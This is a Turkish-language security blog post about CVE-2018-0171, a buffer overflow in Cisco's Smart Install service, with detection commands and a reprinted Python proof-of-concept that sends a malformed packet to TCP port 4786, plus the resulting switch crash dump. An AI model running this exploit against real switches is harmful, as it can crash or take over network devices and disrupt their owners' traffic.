Cisco Switch’lerde kritik RCE güvenlik açığı

Cisco Switch’lerde kritik RCE güvenlik açığı
Nisan 05 10:04 2018 Yazıyı Yazdır

Cisco IOS ve Cisco IOS XE yazılımlarında, bir saldırganın kimlik doğrulaması yapmadan rastgele kod çalıştırmasına, ağ cihazları üzerinden tam kontrole sahip olmasına ve ağ trafiğini engelleyebilmesine kadar izin veren kritik bir güvenlik açığı tespit edildi.

Stack-based buffer overflow güvenlik açığı (CVE-2018-0171), direktör görevindeki switch’in yönettiği switch’lere Smart Install vasıtasıyla kolayca paket dağıtımı yaparken bu esnada hatalı doğrulama yaptığından kaynaklanmaktadır.

Smart Install, yeni switch’ler için sıfır temaslı dağıtım sağlayan bir tak-çalıştır yapılandırması ve imaj yönetimi özelliğidir. Genel olarak ağ üzerinden yeni bir switch kullanılmaya başlanacağı zaman mevcut olan imajlarının yüklenmesi işlemlerini otomatikleştirir.

Embedi, Cisco’nun 9.8 (Kritik) CVSS puanına sahip olan uzaktan kod çalıştırma güvenlik açığı sorununu çözmek için yama güncellemeleri yayınladıktan sonra teknik ayrıntıları ve PoC (Proof of Concept) kodunu da yayınladı.

Bu güvenlik açığından yararlanmak için, saldırganın varsayılan olarak açık olan TCP 4786 portundan Smart Install üzerinden paket göndermesi gerekiyor.

Cisco danışmanı açıklamasında “Daha kesin konuşmak gerekirse, buffer overflow ‘smi_ibc_handle_ibd_init_discovery_msg’ fonksiyonunda gerçekleşiyor. Sabit boyutlu bir arabelleğe kopyalanan verilerin boyutunu kontrol eden bir mekanizma olmadığından ötürü buffer overflow oluşuyor.” dedi.

Bu güvenlik açığından etkilenen aygıtlar loop’a (döngüye) girdiğinde sistem üzerinde DoS (Denial of Service) etkisi oluşturabiliyor.

Araştırmacılar, Mayıs 2017‘de Cisco’ya bildirdikten sonra Hong Kong’da bir konferansında bu güvenlik açığını göstermişlerdi.

GeekPWN 2017 Hong Kong

Araştırmacıların başarılı bir şekilde bu güvenlik açığını göstermesinin ardından GeekPWN 2017 Hong-Kong’da G-Influence ödülünü kazandılar.

GeekPwn Nedir?

Dünyanın önde gelen siber günenlik araştırmacıları platformlarından biri olan GeekPwn, dünyanın dört bir yanında güvenlik araştırmacılarının ve yöneticilerinin, düşüncelerini ve bulgularını paylaşmalarını sağlıyor. 2014 yılından beri GeekPwn, Pekin, Şangay, Makao, Hong Kong ve Silikon Vadisi’nde 8 panel gerçekleştirdi ve yüzlerce kritik güvenlik açığından sorumlu olarak kapatılmasından yardımcı olarak yarışmacılarına milyonlarca (USD) ödül verdi.

Yarışma şartlarına göre, Cisco Catalyst 2960 switch’e saldırmak ve iki koşulu yerine getirmek gerekiyordu:

1- Mevcut parolayı resetlemek veya değiştirmek için EXEC modunu aktif etmek:

2- Switch ve internete bağlı olan cihazlar arasındanki trafiği engellemek:

Güvenlik Açığı’nın Kontrolü

Açık bir TCP 4786 bağlantı noktasına sahip bir Cisco ağ donanımınız varsa, bu güvenlik açığından etkilenmektedir. Bu ekipmanı bulmak için ise ağınızı taramanız yeterlidir.

# nmap -p T:4786 192.168.1.0/24

Ağ ekipmanının bir Smart Install istemcisi olup olmadığını kontrol etmek için aşağıdaki komutları girin:

switch> show vstack config
Role: Client (SmartInstall enabled)
Vstack Director IP address: 0.0.0.0

switch> show tcp brief all
TCB                    Local Address                   Foreign Address                   (state)
0344B794         *.4786                                 *.*                                            LISTEN
0350A018         *.443                                   *.*                                            LISTEN
03293634         *.443                                    *.*                                           LISTEN
03292D9C        *.80                                     *.*                                            LISTEN
03292504         *.80                                     *.*                                            LISTEN

İnternet Tarama Sonuçları

Güvenlik açığından yalnızca iç ağdaki saldırılarda kullanılabilinir diye düşünülüyor ancak güvenli bir şekilde yapılandırılmış bir ağda, Smart Install teknolojisi istemcilerine internet üzerinden erişilmemesi gerekir.

Ancak interneti taramak bu düşüncenin doğru olmadığını gösterdi…

Araştırmacılar, zamanında internete açık olan savunmasız toplam 8.5 milyon cihaz bulmuşlar ve güncel olarak 250.000 cihaz üzerinde güncellemelerin halen yapılmamış olduğunu söylüyorlar.

Şu an baktığımızda ise:

Muhtemelen bu durum, Smart Install istemcilerinin, TCP bağlantı noktasının (4786) varsayılan olarak açılmasından ve ağ yöneticilerinin bu şekilde fark etmemesinden kaynaklanmaktadır.

Etkilenen Donanım ve Yazılımlar

Bu güvenlik açığı aşağıdaki aygıtlarda kontrol edildi:

Catalyst 4500 Supervisor Engineler, Cisco Catalyst 3850 Series Switchler ve Cisco Catalyst 2960 Series Switchler

  • Cisco Catalyst 4500 Supervisor Engine 6L-E
  • Cisco IOS 15.2.2E6 (Latest, Suggested)
  • cat4500e-entservicesk9-mz.152-2.E6.bin (23-DEC-2016)
  • Cisco Catalyst 2960-48TT-L Switch
  • Cisco IOS 12.2(55)SE11 (Suggested)
  • c2960-lanbasek9-mz.122-55.SE11.bin (18-AUG-2016)
  • Cisco IOS 15.0.2-SE10a (Latest)
  • c2960-lanbasek9-mz.150-2.SE10a.bin (10-NOV-2016)
  • Cisco Catalyst 3850-24P-E Switch
  • Cisco IOS-XE 03.03.05.SE
  • cat3k_caa-universalk9.SPA.03.03.05.SE.150-1.EZ5.bin (03-NOV-2014)

Ayrıca, Smart Install istemci sınıfına girebilecek tüm cihazlar potansiyel olarak savunmasız denilebilir. Onların bir listesi de aşağıdaki gibidir:

  • Catalyst 4500 Supervisor Engines
  • Catalyst 3850 Series
  • Catalyst 3750 Series
  • Catalyst 3650 Series
  • Catalyst 3560 Series
  • Catalyst 2960 Series
  • Catalyst 2975 Series
  • IE 2000
  • IE 3000
  • IE 3010
  • IE 4000
  • IE 4010
  • IE 5000
  • SM-ES2 SKUs
  • SM-ES3 SKUs
  • NME-16ES-1G-P
  • SM-X-ES3 SKUs

Daha fazla bilgi için:

İspat’ı (PoC)

PoC koduna aşağıdan erişebilirsiniz:

# smi_ibc_init_discovery_BoF.py

import socket
import struct
from optparse import OptionParser

# Parse the target options
parser = OptionParser()
parser.add_option(“-t”, “–target”, dest=”target”, help=”Smart Install Client”, default=”192.168.1.1″) parser.add_option(“-p”, “–port”, dest=”port”, type=”int”, help=”Port of Client”, default=4786) (options, args) = parser.parse_args()

def craft_tlv(t, v, t_fmt=’!I’, l_fmt=’!I’):
return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v

def send_packet(sock, packet):
sock.send(packet)

def receive(sock):
return sock.recv()

if __name__ == “__main__”:

print “[*] Connecting to Smart Install Client “, options.target, “port”, options.port

con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

con.connect((options.target, options.port))

payload = ‘BBBB’ * 44 shellcode = ‘D’ * 2048

data = ‘A’ * 36 + struct.pack(‘!I’, len(payload) + len(shellcode) + 40) + payload

tlv_1 = craft_tlv(0x00000001, data) tlv_2 = shellcode

hdr = ‘\x00\x00\x00\x01’ # msg_from
hdr += ‘\x00\x00\x00\x01’ # version
hdr += ‘\x00\x00\x00\x07’ # msg_hdr_type
hdr += struct.pack(‘>I’, len(data)) # data_length

pkt = hdr + tlv_1 + tlv_2

print “[*] Send a malicious packet”
send_packet(con, pkt)

 

Switch’e saldırmak için aşağıdaki komutu çalıştırmanız yeterlidir:

# ./smi_ibc_init_discovery_BoF.py -t 192.168.1.1

 

Eğer başarılı olursa, switch kilitlendiğine dair bir bilgi yayımlamalı ve kendini yeniden başlatmalı:

00:10:35 UTC Mon Mar 1 1993: Unexpected exception to CPUvector 1200, PC = 42424240
-Traceback= 42424240
Writing crashinfo to flash:/crashinfo_ext/crashinfo_ext_15
=== Flushing messages (00:10:39 UTC Mon Mar 1 1993) === Buffered messages:

Queued messages:
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE
(fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2016 by Cisco Systems, Inc.
Compiled Wed 17-Aug-16 13:46 by prod_rel_team
Instruction TLB Miss Exception (0x1200)!
SRR0 = 0x42424240 SRR1 = 0x00029230 SRR2 = 0x0152ACE4 SRR3 = 0x00029230
ESR = 0x00000000 DEAR = 0x00000000 TSR = 0x84000000 DBSR = 0x00000000
CPU Register Context:
Vector = 0x00001200 PC = 0x42424240 MSR = 0x00029230 CR = 0x33000053
LR = 0x42424242 CTR = 0x014D5268 XER = 0xC000006A
R0 = 0x42424242 R1 = 0x02B1B0B0 R2 = 0x00000000 R3 = 0x032D12B4
R4 = 0x000000B6 R5 = 0x0000001E R6 = 0xAA3BEC00 R7 = 0x00000014
R8 = 0x0000001E R9 = 0x00000000 R10 = 0x001BA800 R11 = 0xFFFFFFFF
R12 = 0x00000000 R13 = 0x00110000 R14 = 0x0131E1A8 R15 = 0x02B1B1A8
R16 = 0x02B1B128 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x02B1B128
R20 = 0x02B1B128 R21 = 0x00000001 R22 = 0x02B1B128 R23 = 0x02B1B1A8
R24 = 0x00000001 R25 = 0x00000000 R26 = 0x42424242 R27 = 0x42424242
R28 = 0x42424242 R29 = 0x42424242 R30 = 0x42424242 R31 = 0x42424242
Stack trace:
PC = 0x42424240, SP = 0x02B1B0B0
Frame 00: SP = 0x42424242 PC = 0x42424242

  Kategori:
daha fazla yazı

Yazar Hakkında

Furkan Sayım
Furkan Sayım

Siber Güvenlik Araştırmacısı olmaya çalışan bir Developer

Daha Fazla Yazı
yorum yapın

Yorum Yok

Henüz yorum yapılmamış

İlk yorumu siz yapabilirsiniz.

Yorum ekleyin

Bilgileriniz güvende! E-posta adresiniz yayınlanmayacak. Diğer kişisel bilgileriniz üçüncü partilerle paylaşılmayacak.
* işaretli alanlar zorunludur.

Time limit is exhausted. Please reload CAPTCHA.